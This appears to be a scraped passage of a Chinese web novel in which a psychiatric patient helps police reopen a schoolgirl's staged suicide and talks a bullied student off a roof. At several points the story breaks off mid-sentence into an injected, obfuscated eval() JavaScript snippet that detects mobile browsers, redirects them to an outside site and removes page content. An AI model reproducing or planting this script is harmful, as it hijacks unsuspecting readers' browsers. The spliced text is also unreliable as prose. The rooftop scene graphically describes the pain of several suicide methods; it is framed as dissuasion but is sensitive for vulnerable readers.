小夏刚刚平复的心再度紧张得砰砰直跳——这可不是什么给个账号密码就能糊弄过去的证据!她们肯定凶手是教导主任完全是“开了天眼”,总不能说她们在游戏里经历过一遍了吧? 庄仲纬沉默了一会儿,突然看向小夏,“夏小姐很紧张?” 问询室不算狭窄,但却足够安静,总共就三个人的空间,小夏不正常的呼吸节奏清晰可闻。 谢柏雅轻轻伸手,在桌下握住了小夏紧张到沁汗的手,冰凉的手掌总算将小夏安抚下来。 “不是紧张,”谢柏雅替她回答了,“是想到了方方的遭遇,和她说的话。” 庄仲纬的注意力果然被转移过来,“什么话?” 谢柏雅斟酌着开口,“在跳楼案之前……他们学校附近还发生过一起凶杀案吧?如果我没有记错,按照方方所说,那个案件的被害者,是游荡在他们学校附近的一个小混混,死因是被人捅了一刀?” 庄仲纬一怔,毕竟不是市里的辖区,这个案子他是真不清楚,不过很快,他的手机响起提示音,他拿过来一看,是刚刚让小张整理的案件详情,已经发了过来。 庄仲纬点开一看,果然上面提到了那个凶杀案。 被害者的身份和死因都和谢柏雅说的一模一样——这不只是新闻不会提到,连他这个身在上级警方机构的人,都是刚刚接触到的线索。 庄仲纬的目光越发正色起来,“所以,你们的朋友作为那个案子的目击者,看到了什么?” 谢柏雅点头,“她说她可能知道凶手是谁。” “是谁?” “她没有明确说明,但我猜应该是她很熟悉的人。方方的社会关系非常简单,她会熟悉的人,只有可能是学校内的相关人员,而一天之后她就在学校里‘自杀’了,所以我想,这一定不同寻常。” 庄仲纬显然也想通了此间关节,他匆匆结束了笔录,走出问询室,直接开始吩咐。 “小张,给湖县警局打电话,七中跳楼案另有隐情,先暂缓结案,然后整理一下东西,五分钟后我们出发,去湖县。” 小张一愣,但脸色有些尴尬,“啊这……庄队,这不合规矩吧?湖县没有问总队申请调人,我们这样贸然去插手……处局长到时候又要扣工资了。” 庄仲纬将手中的笔录拍在他身上,“工资重要还是人命重要?他们要打报告我扛着,马上准备!” 小张点头,抱着笔录进办公室开始准备文件,庄仲纬揉了揉额头,突然被谢柏雅叫住。 “我们也去。” 庄仲纬动作一顿,“……夏小姐可以,你不行。” “理由?” 庄仲纬又端起了刚刚看到谢柏雅时,那副戒备的状态,“如果不是你真的提供了详细的证据,我会怀疑这是你做的一个局——为的就是借助这个机会彻底潜逃。” 谢柏雅笑了一声,“很不错的主意,但我一不是凶手二不是犯人,甚至没有任何刑期惩罚和缓刑,我有什么必要潜逃?” “没有人喜欢待在精神病院。” “我的目的如果是逃离医院,那就是医生该关心的事,和庄警官有什么关系?” “不,这和我很有关系。”庄仲纬抬头,目光灼灼,直视谢柏雅,“我关心的,是杀害我弟弟的凶手,能不能被绳之以法 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14629916|153840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ——三年前你们精神失常的诡辩非常精彩,但总有一天,我会重启那个案子,抓住凶手,让她受到应有的惩罚!” 果然是兄弟关系。 庄仲纬,庄明竹。谢柏雅在心中将两个名字颠来倒去念了两遍,但模糊的记忆中,依旧没有这对兄弟俩的丝毫线索。 “那太好了,庄警官,”谢柏雅直视他的目光,以完全不输的气势看了回去,“我们的目的一样呢。我也想抓住那个,真正杀了人却陷害我蒙了三年不白之冤的,凶手。” “你……” 谢柏雅没给他再开口的机会,“但在那之前,更需要被绳之以法的是方方这个案子的嫌疑人。我们是证人,也是目前为止,你们警方能接触到和被害人关系最近的友人,那个年纪的女孩子,很多话甚至不会和父母开口,但愿意和亲近的同伴说,我能拥有她的账号密码就是最好的证明。你就算现在不带我去,湖县警方也早晚会需要传唤我去作口供。” 谢柏雅摊了摊手,笑了一声,“所以,如果你真的害怕我会‘潜逃’,让我和你一起,总比让我和湖县警方一起好吧?——毕竟,你对我的戒心,无人能及。” 或许是最后一句话说服了他,庄仲纬也不是拖拉的人,按了按眉心,当机立断道,“可以,十分钟后停车场见。” 看庄仲纬“砰”一声摔上了办公室的门,谢柏雅缓缓勾了勾唇角,随即看向旁边的小夏,“你要不要给家里打个电话?或者准备一下。” 小夏还有些愣怔,“准备……什么?” “现在已经是傍晚,我查了一下,从我们现在这里到湖县七中开车三个半小时的车程,这还是不堵车的情况,”又一个男声传来,一直在门口等她的林景泽缓缓走了过来,“刑事案件的调查不会那么快,重新取证、采样、调查,来回七个小时,今晚肯定只能住在湖县了。” 小夏一拍脑袋,“啊,那我给家里阿姨打个电话,不回去吃饭了,顺便去旁边便利店买点东西。” 小夏风风火火地走了,谢柏雅看向林景泽,他再不开口,她都快忘记还有这人存在了——虽然,这人还是她名义上的“监护人”。 林景泽看着她沉默的样子,笑了笑,“不向我打个报告么?” 谢柏雅之前说的假期只是来警局,现在要前往湖县,是临时加的行程。按理来说,她也需要向他这个主治医生申请一下。但她从计划到说服庄仲纬,全程都没有问过他这个“监护人”的意见。 “我从不做没必要的事,”谢柏雅看了他一眼,“你不会拒绝这个请求。” 林景泽目中露出笑意,“因为我不怕你逃跑?” “不,因为你迫切想要啃下我这块难啃的骨头。”谢柏雅的笑容中有几分讥讽,“你是自愿调来我们医院的,我是你在这个医院唯一的病人,从入院的那一刻,你的目标就是我。你需要接近我,才能实施你的治疗,作为业界的神话,你催眠了我五次才成功一次,开出的药被我神不知鬼不觉地销毁你却找不到丝毫证据,你在我身上已经吃了三年苦头,你需要突破。” 医院是一个相对固定的场所,三年的治疗都没能打破病人的防备,如果她是林景泽,她也会选择迂回策略,从另一个方面拉进和病人的关系,甚至,通过新的场所来尝试新的治疗。 或许于他而言,会担一定的风险——比如她这个被评价为“极端危险”的人逃跑,但林景泽无法拒绝。 他太迫切想要“战胜”她这个病人了。 谢柏雅走出警局,看了看天边依旧刺眼的目光,缓缓闭眼。 而且有一点,他们都预判错误。 她不会、也从没想过逃跑。终有一天,她会亲自找出当年案件的真相,还自己一个清白。 24. 第 24 章 “谢姐,这个案子已经上热搜了。” 前往湖县的车上,小夏——进过自我介绍后,谢柏雅知道了她的本名叫夏思敏,不停地刷着同城的热搜,果不其然,在同城热搜最上方的第一条热搜前,挂着【爆】字。 【花季少女怀胎三周却魂断学校天台,疑似殉情?】 点进去一看,文章里讲述了化名的少女A和一名校外混混B的“爱恨情仇”。故事中,少女A不知与谁珠胎暗结,但一日深夜,少女A约校外相熟的混混B在小巷相见,疑似要混混为肚子里的孩子负责,交谈过程被春秋笔法一笔带过,最后故事的结尾是,混混B死在了那一夜的小巷里,而就在“孩子父亲”死后的第二天,少女A也跳楼身亡。 文章笔法娴熟,起承转合间带节奏的方法也很老练,该说的不说,不该说的也都没说,说出来的也都是“事实”。 果不其然,这篇热搜一出,之前关于“这个学校自杀率是不是高了点”“老师是不是有问题啊”的讨论瞬间热度消散——严肃的社会问题总是没有“花边新闻”吸人眼球。 更有甚者,下面的评论不少“相关人士”跳了出来,信誓旦旦地说起了少女A和混混B的“往事”。 【利益相关,我就是文章里那个学校的,确实经常在校门口看到A和B拉扯。】 【A一个人独来独往的,但经常给B钱,原来当中还有这个故事?】 【虽然但是,A和B在校门口拉扯,是因为B是收保护费的混混吧?】 【既然是收保护费,那不应该和所有人拉扯吗?B不拉扯别人只拉扯A,还说没一腿?】 【就事论事,A自杀后宿舍里确实搜出来了验孕棒,这篇文章里说的都是事实。】 夏思敏越翻越气不打一处来:“这都什么和什么!” 单方面的保护费霸凌被美化成了“爱情”,夏思敏“啪嗒啪嗒”地戳着屏幕,想要在下面回复真相,一只白皙的手从旁边伸过来,“啪”一声将她的屏幕按灭。 “……谢姐?你干什么!我要去辟谣啊!” 漆黑的手机屏幕反射着夏思敏旁边谢柏雅面无表情的脸,她还是那副冰冷又淡然的模样,手上却用了不小的力气按住了夏思敏。 “这篇文章发出来不到半小时就上了热搜,话题度直接飙升,说明背后一定有推手。” 谢柏雅将夏思敏的手机拿过去,重新按开,瞥了一眼热搜数据,“你现在去评论区回复,只会被马上删评拉黑,一个人的声音是盖不过有备而来的水军的。而且,这篇文章一出,其实也直接把证据送到了我们手上。” 夏思敏刚想反驳谢柏雅的话,但听到最后一句话,愣住:“证据?” 谢柏雅不说话,只是将发表这篇文章的账号信息截图下来,然后传送到了旁边的庄仲纬手机上,“该你们技术部的人出场了。” 庄仲纬低头接受着数据,倒是不奇怪谢柏雅的做法,只是皱眉道:“通过账号背后的MCN查现金流,确实能查到雇佣这批水军的人,但这不能算直接证据。” 谢柏雅点点头,“总会有直接证据。” 夏思敏突然想到了什么,“诶,有没有可能不是什么MCN雇佣的人?谢姐,你记不记得论坛上那个人……” 她说的是校园论坛内一直在造谣方映秋的人,甚至动用了好几个账号散播谣言。 “你们在说谁?”庄仲纬侧头。 谢柏雅摇摇头:“校园论坛上有一个人,换了好几个马甲造谣方方,但这文风明显不是同一个人,校园论坛上那个人文风太直白,带节奏水平也远不如这个账号。” 正讨论间,庄仲纬手机响起,“湖县那边把那两起案件细节发过来了。” 说着,他抬头,目光微微下垂,似乎是在考虑要不要把信息透露给谢柏雅。 哪知谢柏雅只是看了他手机一眼就没了兴趣,靠向后座的椅背开始闭目养神,甩下的最后一句话却犹如炸弹一般,炸响在狭小的车厢里。 “小混混那起案子的凶手,就是论坛上造谣的这个人,但和跳楼案不是同一个凶手,不过两个凶手关系很深。” “嗤——”一声,轿车在路上拐出怪异的S形,前排驾驶座上的小张双目圆瞪,看着后视镜的眼神仿佛见了鬼:“报告刚发过来,你、你就已经知道那两起案件的凶手了!?” 这也太快了吧?骗人的吧!一定是骗人的吧!这女人连报告都没看一眼啊! 庄仲纬目中也有惊异,但却没有小张那么失态,“说说看?” 谢柏雅不说话,只是闭着眼睛,仿佛真的陷入了沉睡。 庄仲纬皱眉:“谢柏雅,你知道案件真相?” 谢柏雅还是不说话,庄仲纬被她忽视得有些恼了,抬手想要推她,“喂!你知道的话……” “庄警官。”前面副驾的林景泽终于开口——在他们之前的讨论中,他一直和个透明人一样毫无存在感,“谢小姐是病人,她前来湖县只是配合你们调查,有权利获得休息时间。” 庄仲纬差点气笑了。明明是她自己威胁了他非要跟过来的,怎么一转眼变得像是他们胁迫她一样? 但这话确实在理,于是他也只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14655768|153840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能冷冷抛下一句“有病就回医院好好待着”,低头开始查看资料。 谢柏雅确实有病,生理上的那种。她还是低估了这三年“治疗”带给她的影响,她平时的活动范围最多只有特殊病区的花园,今天一天跑了警局又搭了长途车,虽然大部分时间是坐着,但身体还是有些吃不消。 再加上长久的“药物治疗”,虽然她已经根据自己的研究调查,销毁了大量影响脑神和注意力的药物——她不能让这些药物影响她思考的速度,和对事物的判断。 但精神类的药物副作用多半会涉及到晕车,她只是低头在车上看了一会儿手机,眼前就天旋地转,再多说一个字都仿佛下一秒就会晕倒。 再多“治疗”两年,她就要彻底成为一个废人了,这样下去不行。 谢柏雅强忍着反胃的恶心感和眩晕感,闭着眼放缓呼吸,确保不让车上任何人发现自己的异样。旁边夏思敏“哒哒哒”的敲打屏幕声反而成了一种转移注意力的方式,她一路听着,终于在即将撑不下去的时候,车辆停在了目的地。 跨出车厢门的那一刹,仿佛重获新生般,谢柏雅深深吸了一口气,总算缓解了一路晕车的难受。 小张直接将车停在了七中校门口,当地的警察也已经有人等在了那边,涉及到异地办案的事,两拨人似乎在扯皮,谢柏雅靠在路边恢复体力,低头看了一眼手机,上面是一条小夏的信息。 她刚刚上车前就已经让小夏将她“记忆”中关于校医刘阿娣的事,一五一十地告诉她,小夏编辑了一路,谢柏雅看完后,那边也终于扯完了皮。 谢柏雅走过去,小张向湖县警察介绍:“这两位女士是案件相关证人,她们是被害者方映秋的好友。” 看来,被害者名字没有改。 湖县警察一愣,“据我们调查,死者好像从没去过光城?父母亲戚也都没有光城的人?” “网友。”谢柏雅开口,声音还有点沙哑,仿佛砂子磨过沥青地面,听得人心一颤。 谢柏雅不在意他们的目光,反倒直接开口询问,“你提到了死者的父母,他们来认尸了吗?” 小警察一愣,谢柏雅开口得太理所当然了,让他一时都没发现被“反客为主”,“来了,上午就来了,在学校里闹了一通,好像收钱摆平了,刚刚下午去警局认了尸,也签了字,领走了尸体。” “领走了尸体!?”夏思敏惊呼一声,“怎么能让他们领走尸体!” 方映秋的父母也是对女儿敲骨吸髓的魔鬼!把尸体领回去又要给配冥婚,又不肯让他们解剖,这下线索可就全断了! 25. 第 25 章 夏思敏脱口而出的话一出口,小警察皱了眉:“人家是被害人直系亲属兼监护人,之前案子也是按照自杀结的案,法律上没有任何程序问题。” 谢柏雅也没想到,在“现实”里,这对父母居然这么顺利就领走了尸体,但转念一想,现实中可没有“石兴旭”和“徐婉”那样不遗余力的阻拦,父母领走尸体根本没有任何阻碍。 “追回来。”谢柏雅再度开口,“就算他们不对尸体做什么,现在是夏天,他们运来运去,就算最后申请下来了强行解剖,也会导致尸体腐败破坏证据!” 她的话中难得有些激动的情绪,连林景泽都侧目了一眼。 夏思敏也火急火燎道:“他们往哪走了?我去把他们追回来!” “等、等等……”小警察有些摸不着头脑,“你们说的什么运来运去、追回来的?人家领了尸体,但就停在了本市的殡仪馆啊!” “……殡仪馆?” “对啊,你也说现在是大夏天,所以父母决定在本市就地火化,直接带骨灰回去,现在先在殡仪馆停着呢。” 想来,这也是他们在“现实”里没有介入导致的剧情偏差。在现实里,方映秋还是那个懦弱的女孩儿,她没有在那一天清晨的操场讲台上发出最后的声音与质问,所以陈国方根本不像游戏里那么“重视”这个案子——就像他对待前面那两个女孩那样,给点钱打发走家人,甚至没有费心盯着介绍冥婚和火化。 现实中的方映秋,连死亡都被这么无足轻重地对待。 谢柏雅闭了闭眼,说服自己,这对他们来说反而还是好事。 于是,她一把拉住夏思敏,低声道,“你去一趟殡仪馆,盯住他们。” 夏思敏奇怪道:“不是说不冥……那啥了吗?那警察走流程申请强制解剖就行了?” 谢柏雅摇头:“我在……看过之前两个女孩的案例,几乎都是领尸不到两天就安排火化了,你一定要看住。” 方映秋的尸体是他们现实中唯一能找到“直接证据”的地方,无论如何都要好好保存。 夏思敏明白了轻重,飞快点头,“我知道了!” 说着,她问了当地警察殡仪馆的地址,然后在软件上打了个车就飞快跑了。 她只是证人不是嫌疑人,警方无法阻拦,小张看着夏思敏的车远去的尾气,看向庄仲纬:“庄队,这夏小姐……是急着去殡仪馆见朋友最后一面?” 庄仲纬思忖了一下,“你跟上去,去殡仪馆看看。” “啊?” 庄仲纬拍了他一把,“快去,把她们所有行踪都告诉我。” 先不说谢柏雅在车上那句没头没尾的“知道凶手”是真是假,但这两个女孩看样子确实知道很多这个案子的细节,甚至细致得不像单单只是“证人”能了解的程度。 小张追着夏思敏去了,湖县警方引着其他人进入校园,校园内的布局和游戏里的如出一辙,谢柏雅闭着眼睛都知道哪是哪。 庄仲纬和当地警察一起上天台重新勘察案发现场,谢柏雅却在一幢小楼前停下。 庄仲纬看了看上面写着“校医室”三个大字,皱了皱眉,“怎么了?” “你们先去看现场,我去一趟医务室。方方平时身体不好,校医室的人可能会知道点什么。” 庄仲纬不假思索:“我和你一起。” 谢柏雅笑了一声,“我劝你还是亲自去调查案发现场,这里的警方只会以自杀结案,天台上肯定还有什么重要线索遗漏,比如……凶手留下的痕迹、指纹,或者脚印之类的。” 庄仲纬思忖一下,事到如今,他倒是不再怀疑谢柏雅想要破案的决心,也不怀疑她会半路逃跑了。 他看了一眼谢柏雅身后背后灵一样的“监护人”林景泽,点点头,“……行,一会儿校门口集合。” 庄仲纬去天台勘察了,谢柏雅带着林景泽走进了校医室的小楼,林景泽终于说了沉默这么久以来的第二句话,“我车上有晕车药,我们应该自己开车来的。” 谢柏雅不理他,走到校医室门口,敲了敲门,门是虚掩着的,她推门进去,听到了那个熟悉的、属于校医刘阿娣的温柔声音。 “……呼……呼……吹吹就不疼了,哎呦手是女孩子的第二张脸,我们女孩子手也要好好保养的呀,脸上手上有了疤,万一影响到以后嫁人,那这辈子可就……” 医务室里,刘阿娣正在给一名陌生的女学生划破的手上药。 谢柏雅敲门进来的时候,小姑娘好像已经包扎好,手缩回了袖子里,只露着手腕处的一点纱布。 见有人来了,刘阿娣直起身,在学校里看见了两个陌生人,有些意外:“你们是……?” 谢柏雅变戏法一样,从口袋里掏出了一本警官证——当然,没有打开,只是拿着警徽在刘阿娣面前晃了晃,已经足够唬人。 刘阿娣还没什么反应,那个女同学已经脸色一白,低下了头,匆匆和刘阿娣倒了别,“……谢谢校医,我回去上课了。” 等到那个女生离开校医室,刘阿娣看向门口的两个人,温柔地笑了起来,打招呼,“警官先生,是吧?请坐。” 林景泽摇头,“我不是警察。” 谢柏雅也不是,但这话他没说——他也很好奇,谢柏雅晕车难受了一路,居然还能在所有人都没有察觉到的情况下,拿到那位小张警官的警官证? 刘阿娣愣了愣,终于正眼看向了站在她面前的谢柏雅,那个看上去年龄还没有自己大、甚至有些病容与孱弱的女人。 “……原来是警官小姐,”她笑了笑,“您这么年轻,又是女孩子,警察这个职业,一定非常辛苦。” 谢柏雅不接她的话,目光落在她桌面上的“病历簿”上,开口,“关于之前那名女生坠楼身亡的案件,我们需要来了解一些其他信息,她的病例有吗?” “有是有的,但我记得方映秋同学不常来校医室……而且我们这里只记录外伤和小病,没有专业的检测设备,不知道她什么时候怀的孕……” 谢柏雅翻着病历本,果然,方映秋和其他两名女生的“就诊时间”和细节同游戏里一模一样,终于确认了自己的推论,都在她们坠楼前3-5周左右,有过医务室的就诊记录。 旁边刘阿娣还在温柔地絮絮叨叨,似乎是想提供更多“线索”,“警官,这个年纪的女孩子,有这样的想法不在少数的,尤其是她还干了那样的事,如果被人发现了,以后就嫁不出去了,这辈子就完了……” 谢柏雅有些不耐烦地抬头,想要打断这人的传教,但最后两句她听着耳熟,似乎刚刚进门的时候,刘阿娣也对那女孩子念叨过“嫁不出去”这种话。 突然,她心中猛地一跳,意识到了什么,看向刘阿娣的目光瞬间冰冷:“刚刚从你这里出去的那个女孩子叫什么?哪个班的!?” “什、什么?”刘阿娣被她的目光吓了一跳,后退一步,“警、警官怎么突然问这个……” “我问你她叫什么!哪个班的!” “周、周小丫,高三八班。” 得到了信息,谢柏雅不再纠缠,直接冲出了校医室的门,边跑边将警官证扔给后面跟上来的林景泽,“你去高三八班找班主任,问周小丫有没有回班,回了的话马上封锁班级不允许任何人出入!” 林景 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14673434|153840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 泽接过那个警官证,楞了一下,“你怀疑周小丫是下一名受害者?” “不是怀疑,”谢柏雅手上还抱着那本从校医室拿来的病例,哗哗哗往前翻到四周前,果然在一个周末也看到了周小丫的名字,“她就是。刚刚那个女孩袖子里有纱布,我一开始以为是手掌受伤,但很可能是手腕,她割腕过!” 谢柏雅的身体跑两步就喘的不行,她扶着膝盖缓了缓,“凶手就是这么挑选目标的……我之前一直怀疑为什么前面受害者的跳楼时间那么固定,就算遭遇了不好的事情产生自杀想法,也不会这么不约而同选在差不多的时间段。” 陈国方的压迫和侵害是她们死亡的终极因素,而还有一个人,从她们被侵犯后,就不停找机会洗脑那些本就处于自卑与绝望的女孩子,你要好好保养你的身体,一旦你的身体出现了“损伤”,你就嫁不出去,嫁不出人生就完了——而被“侵害”,就是这些洗脑的说辞里最大的“损伤”。 而她平时关于“女孩子就是要保养、就要嫁人”这样的言论实在太多了,这人也经常以关心的名义将这些话挂在嘴边,哪怕有人听着不舒服,或者制止她,却也不会由此怀疑她别有用心,最多只是觉得她“老派思想”而已。 林景泽扶了她一把,让她靠在墙上休息,“对于这个年纪的年轻人来说,想要反复洗脑将思想根植进对方内心,确实只需要三到五周就够了。你在这里休息一会儿,我去找班主任。” 谢柏雅挥挥手,刚刚手机上拨出的语音终于被接听了。 “喂?”庄仲纬的声音传来,还有呼啸的风声,大约是还在天台上。 “刚刚有没有一个女学生来天台?” “没有,”庄仲纬秒答,随即顿了一下,“你怎么喘成这样?” 谢柏雅没时间答他的话,脑袋上的青筋跳得“突突”地疼。不是育德楼的话,这个学校还有哪幢楼有天台,适合跳楼? “女生宿舍!”谢柏雅沙哑的声音喊出来,“叫救援队去女生宿舍下待命!有个女孩儿可能要跳楼!快点!” “你怎么知道?”虽然这么问,但谢柏雅听见庄仲纬那里已经吩咐湖县警方去安排了。 谢柏雅缓过了气,无视了电话里庄仲纬的连连追问,重新站起身往女生宿舍赶去,突然另一个电话从群聊里接了进来,林景泽的声音响起:“周小丫没有回班级。” 下一秒,一声惊叫划破校园,“天啊!!宿舍楼天台有人!来人啊!!有人要跳楼!!” * 周小丫站在宿舍楼天台栏杆边,紧抓着栏杆的手心满是汗渍,她知道只要自己踏出这一步,一切就都能了结了。 但她太胆小了,她一直痛恨这样胆小的自己,连割腕都会害怕疼痛与流血,而现在站在天台边缘,也迟迟没有勇气迈出这最后一步。 她想起自己怕疼,但刘校医之前不经意和她聊起过方同学的事,她说,“跳楼是不会疼的,方同学聪明地选择了最轻松的死法。” 刘校医那样温柔善良,还会安慰自己,之前陪自己出校门买药后,还会邀请自己去她家坐一会儿,给她泡奶茶…… 虽然在那之后,她就在他们小区碰到了那个人。 周小丫闭上眼,试图摆脱那段痛苦的记忆。 跳下去吧,跳下去,一切就都结束了。 她睁开眼,看着底下聚集得越来越多的同学,低声喃喃:“这样真的……就不会疼了吗?” 她深吸一口气,终于决心迈出最后一步—— “不!会很疼!”砰地一声,天台的门被强力撞开,一个沙哑的声音出现在了身后,“跳楼是最痛苦的死法。” 26. 第 26 章 周小丫回头,看向了那个撞开天台门冲进来的女生,是一个她不认识的女孩儿,气喘又虚弱的苍白脸色让对方看起来,比她这个想要自杀的更像将死之人。 “跳楼是最痛苦的死法。”谢柏雅擦了一把流到下巴的冷汗,扶着墙支撑身体,“这里是七楼,你跳下去还没落地的时候,你在空中就会感受到由于肾上腺素分泌导致的胸闷心痛。坠落时身体的本能会让你伸出双脚缓冲力量,但这只会导致你的痛苦过程被无限拉长——从双腿开始,胫骨、股骨、盆骨、脊柱……这是骨折中最痛苦的一种,压缩性骨折,你能感觉到你的身体像积木一样,从下半身开始,被压缩和碾碎……而经历这一切的时候,你还没死。” 她终于喘匀了气,缓缓向周小丫靠近,边道,“不止骨骼,内脏器官也是,你的内脏会在高压下破裂,胸肺被骨骼刺穿,气管被血液填满,最后不是疼死的,也不是摔死的,是被自己的血活活呛死、噎死的。” 在她说完第一句的时候,周小丫的脸色就白了,但她还是捏着栏杆边缘,不肯放手,咬着唇道:“你、你怎么知道的?” 谢柏雅看着她,“因为,这就是方映秋的感受。” “你认识……方同学?” 谢柏雅没有回答,缓缓上前一步,见周小丫没有排斥,又上前一步,但周小丫这次动了,“你别过来……” 谢柏雅停住脚步,听到周小丫继续开口:“你、你看上去身体不太好,这里风大,你当心被吹下去,太危险了。” 谢柏雅的眼眶霎时一热,她闭了闭眼,定下心神,盖在头发底下的耳机里,传来庄仲纬的声音,“救援队还有三分钟到,气垫充气一分钟,你再想办法拖四分钟。” 谢柏雅弯下身咳嗽两声,借助着咳嗽的动作捂住嘴巴,压低声音冲着耳机里道,“拦住楼下所有人,不要让人上来。” 面前的周小丫受不得任何刺激。 谢柏雅放柔声音,看向周小丫,“小丫……是吧?你怕疼,对不对?但是跳楼更疼,”她瞥了一眼周小丫手腕上的纱布,“比你手腕上的伤口疼多了。” 提起割腕的伤口,周小丫瑟缩了一下,“但,但刘校医说跳楼不疼的……” 谢柏雅叹了口气:“她在骗……” 耳机里突然传来林景泽的声音,打断她,“周小丫很信任那个校医,这种时候告诉她,她信任的人一直在欺骗她,只会让她更绝望。” 谢柏雅改了口,“刘校医又没有跳过楼,她怎么知道疼不疼呢?” 周小丫愣怔着回头,看向楼底,乌泱泱的学生和老师都聚集了一片,还有的拿了偷藏起来的手机开始拍摄楼上跳楼的“直播”。 七楼的楼很高,风也很大,她无法听到楼底下的声音,但她已经太熟悉这些人了,隔着那么远的距离,她都仿佛能听到那些人幸灾乐祸的窃窃私语。 他们有人嘲笑她的出生,嘲讽她的怯懦,又或者嘲弄她的成绩。 突然,一个男声看热闹不嫌事大地喊出了声,“跳啊!作什么秀!有本事跳啊!” 周小丫眼眶一热,闭上眼,握着栏杆的手正要松开,身后却传来谢柏雅的声音,“为什么要听他的话?” 周小丫动作一顿,睁开眼。 “你在学校平时经常被欺负对不对?那个声音或许也是曾经欺负你的一员,你讨厌他们,你恨他们,那你为什么要听他们的话?让他们如愿?” 周小丫终于哽咽了起来,“不是听他们的话……我只是,活不下去了。” “不要急着问她理由,不要在情绪激动的时候引导她记起想要自杀的原因,先稳住再说。”林景泽继续辅助指导。 谢柏雅脑中动的飞快,深吸一口气,缓缓开口,“那正好,我也活不下去了。” 林景泽:……? 谢柏雅看向周小丫,试图露出一个真诚的笑容,却只是艰难地勾了勾唇,“做个伴吗?” 周小丫被她这句不按常理出牌的话震住,连她缓缓的靠近都没有想要拦住,谢柏雅的路都快走了一半了,她才想起来叫住她,“等、等等……你,你也……?” 谢柏雅非常干脆地点头,“对,你看,我那么了解跳楼,就是因为事先调查过,不然我怎么知道得那么清楚?” 周小丫的脑海被情绪充斥,一时间竟然想不出逻辑反驳,居然开始顺着她的话往下说,“那、那你知不知道什么死法不疼?” “据我调查,还没有不痛苦的死法。溺亡是被活活憋死,割腕你已经体验过了,是鲜血流出身体后,又疼又失温导致的痛苦死亡,上吊是颈骨断裂,割喉也是被鲜血活活呛死……” “……你好有经验……”周小丫开始慢慢被她的逻辑带着跑,“那像电视里那样冲着胸口捅一刀呢?” 谢柏雅顿了顿,随即抬手,解开自己的衬衫扣子——这样的大夏天她还穿着长袖长裤和厚实的衬衫,看上去本就有些违和。 谢柏雅拉开衬衫衣领,露出了心脏正上方,一道陈年的旧伤。 周小丫倒吸一口凉气,一时震惊得几乎无法说话,“你……” ……自己好像,还真的遇到了一位“自杀”前辈? 谢柏雅也不说话,任由周小丫自己脑补去转移她的注意力。 “所以,你该相信我,没有哪种方法是不疼的。” 谢柏雅继续靠近栏杆的方向,或许是亲眼见证伤疤的“共鸣”,这次周小丫没有再排斥她,她很轻易地就走到了周小丫的面前。 “那,有相对最轻松的死法吗……”周小丫重新开口,喃喃道,“……我真的活不下去了。” 谢柏雅瞥了一眼楼底下,看热闹的大部分学生已经被警察疏散,只有几个老师和警察还在楼底下等着,气垫还没有来,她还得继续拖延时间。 她走到周小丫身边,轻轻伸手,想要触摸对方瘦弱的肩膀,但看着她瑟缩的样子,还是收回了手。 她淡笑一声,开口,“小丫,你真勇敢。” 周小丫怔住:“勇敢……?不,我……” 她哪里勇敢了?她不敢反抗同学们的霸凌,不敢反抗那个男人的欺辱,不敢告诉别人她遭受的一切,甚至连死亡,都不敢选择让自己痛苦的方式…… “你看,你知道了那么多死亡的痛苦,但你还是没有逃避,你还是想去面对死亡,你这不是勇敢是什么?” 周小丫张了张口,不知道怎么反驳,但随即低下头,摇摇头:“……我一点都不勇敢,我……我不敢面对……” “可是小丫,你连死亡都敢面对,还有什么其他的事能阻拦你呢?” 听到这句话,周小丫的情绪瞬间崩溃般,眼泪倾泻而出,“阻拦……所有人都在阻拦我,父母、同学、老师……我不想嫁人换彩礼给弟弟,我想读书,我想考大学,我想做一个干净完整的女生……” “啪”的一声,谢柏雅突然握住了她另一只没有抓着栏杆的手,周小丫被她冰凉的体温激得一抖。 谢柏雅紧紧抓着她的手,将那只手牵引着,缓缓伸向她胸口的疤痕。 “这道疤痕脏吗?”谢柏雅问她。 周小丫连连摇头,“不,怎么会……” “同样是来自恶意的伤害,我被从胸口捅一道,不会有人觉得肮脏和不完整,你从其他地方受的伤,有什么理由不一样?你是受害者,肮脏的是那些迫害你的人,不是你这个无辜的人。” 周小丫想缩回手,下意识摇头:“不……” 谢柏雅牢牢拽着她,在这个时候爆发出了惊人的力气,“受到伤害根本不是你的错,凭什么所谓的‘后果’就要你来承受?警察缉凶时被犯人捅了一刀,路上遛狗时被狗咬了一口,做饭时切菜不小心切到了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 